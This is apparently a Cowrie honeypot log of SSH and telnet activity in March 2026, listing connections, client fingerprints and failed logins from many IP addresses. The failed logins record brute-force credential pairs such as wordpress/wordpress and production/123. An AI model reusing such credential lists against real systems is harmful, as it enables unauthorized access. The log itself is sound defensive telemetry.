{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:34.704891Z","src_ip":"185.196.10.253","session":"121142f4f118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testsftp","password":"testsftp123!","message":"login attempt [testsftp/testsftp123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:35.196220Z","src_ip":"185.196.10.253","session":"121142f4f118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:36.312320Z","src_ip":"185.196.10.253","session":"121142f4f118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.245.201.162","src_port":24550,"dst_ip":"159.203.135.109","dst_port":22,"session":"87f37ece86f8","protocol":"ssh","message":"New connection: 201.245.201.162:24550 (159.203.135.109:22) [session: 87f37ece86f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:50.391415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:50.394557Z","src_ip":"201.245.201.162","session":"87f37ece86f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:50.475346Z","src_ip":"201.245.201.162","session":"87f37ece86f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vendas","password":"vendas","message":"login attempt [vendas/vendas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:50.825606Z","src_ip":"201.245.201.162","session":"87f37ece86f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.250.214.166","src_port":61090,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad30a846cf02","protocol":"telnet","message":"New connection: 60.250.214.166:61090 (10.17.0.5:23) [session: ad30a846cf02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:51.065368Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:48:51.907823Z","src_ip":"201.245.201.162","session":"87f37ece86f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":52658,"dst_ip":"159.203.135.109","dst_port":22,"session":"77c914a0629e","protocol":"ssh","message":"New connection: 195.178.110.218:52658 (159.203.135.109:22) [session: 77c914a0629e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:07.136033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:07.140303Z","src_ip":"195.178.110.218","session":"77c914a0629e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:07.219282Z","src_ip":"195.178.110.218","session":"77c914a0629e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:07.457986Z","src_ip":"195.178.110.218","session":"77c914a0629e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:08.539586Z","src_ip":"195.178.110.218","session":"77c914a0629e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.152.101","src_port":60756,"dst_ip":"159.203.135.109","dst_port":22,"session":"0523a222d614","protocol":"ssh","message":"New connection: 103.52.152.101:60756 (159.203.135.109:22) [session: 0523a222d614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:17.767855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:17.772727Z","src_ip":"103.52.152.101","session":"0523a222d614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:17.976487Z","src_ip":"103.52.152.101","session":"0523a222d614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dp","password":"dp1234","message":"login attempt [dp/dp1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:18.820855Z","src_ip":"103.52.152.101","session":"0523a222d614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:20.027451Z","src_ip":"103.52.152.101","session":"0523a222d614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.62285399436951,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:27.688137Z","src_ip":"60.250.214.166","session":"ad30a846cf02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.26.135.100","src_port":58256,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb915862b019","protocol":"ssh","message":"New connection: 20.26.135.100:58256 (159.203.135.109:22) [session: bb915862b019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:28.837347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:28.841633Z","src_ip":"20.26.135.100","session":"bb915862b019","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:28.927083Z","src_ip":"20.26.135.100","session":"bb915862b019","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ben","password":"ben123","message":"login attempt [ben/ben123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:29.307841Z","src_ip":"20.26.135.100","session":"bb915862b019","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:30.404040Z","src_ip":"20.26.135.100","session":"bb915862b019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.117.56.152","src_port":48026,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffacf4285c68","protocol":"ssh","message":"New connection: 103.117.56.152:48026 (159.203.135.109:22) [session: ffacf4285c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:34.533415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:34.539757Z","src_ip":"103.117.56.152","session":"ffacf4285c68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:34.784090Z","src_ip":"103.117.56.152","session":"ffacf4285c68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wordpress","password":"wordpress","message":"login attempt [wordpress/wordpress] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:35.791649Z","src_ip":"103.117.56.152","session":"ffacf4285c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:37.040483Z","src_ip":"103.117.56.152","session":"ffacf4285c68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":37392,"dst_ip":"159.203.135.109","dst_port":22,"session":"87256c35062e","protocol":"ssh","message":"New connection: 34.85.163.94:37392 (159.203.135.109:22) [session: 87256c35062e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:37.335839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:37.340479Z","src_ip":"34.85.163.94","session":"87256c35062e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:37.538559Z","src_ip":"34.85.163.94","session":"87256c35062e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3123","message":"login attempt [gns3/gns3123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:37.803722Z","src_ip":"34.85.163.94","session":"87256c35062e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:38.817450Z","src_ip":"34.85.163.94","session":"87256c35062e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":42888,"dst_ip":"159.203.135.109","dst_port":22,"session":"df6c9dd5b3cb","protocol":"ssh","message":"New connection: 2.57.122.210:42888 (159.203.135.109:22) [session: df6c9dd5b3cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:41.365162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:41.371755Z","src_ip":"2.57.122.210","session":"df6c9dd5b3cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:41.471777Z","src_ip":"2.57.122.210","session":"df6c9dd5b3cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"admin","message":"login attempt [sol/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:41.772935Z","src_ip":"2.57.122.210","session":"df6c9dd5b3cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:49:42.874191Z","src_ip":"2.57.122.210","session":"df6c9dd5b3cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44468,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fba5c69d0bd","protocol":"ssh","message":"New connection: 60.199.224.2:44468 (159.203.135.109:22) [session: 8fba5c69d0bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:50:19.600023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:50:19.604203Z","src_ip":"60.199.224.2","session":"8fba5c69d0bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:50:19.808511Z","src_ip":"60.199.224.2","session":"8fba5c69d0bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"production","password":"123","message":"login attempt [production/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:50:20.662251Z","src_ip":"60.199.224.2","session":"8fba5c69d0bd","protocol":"ssh"}
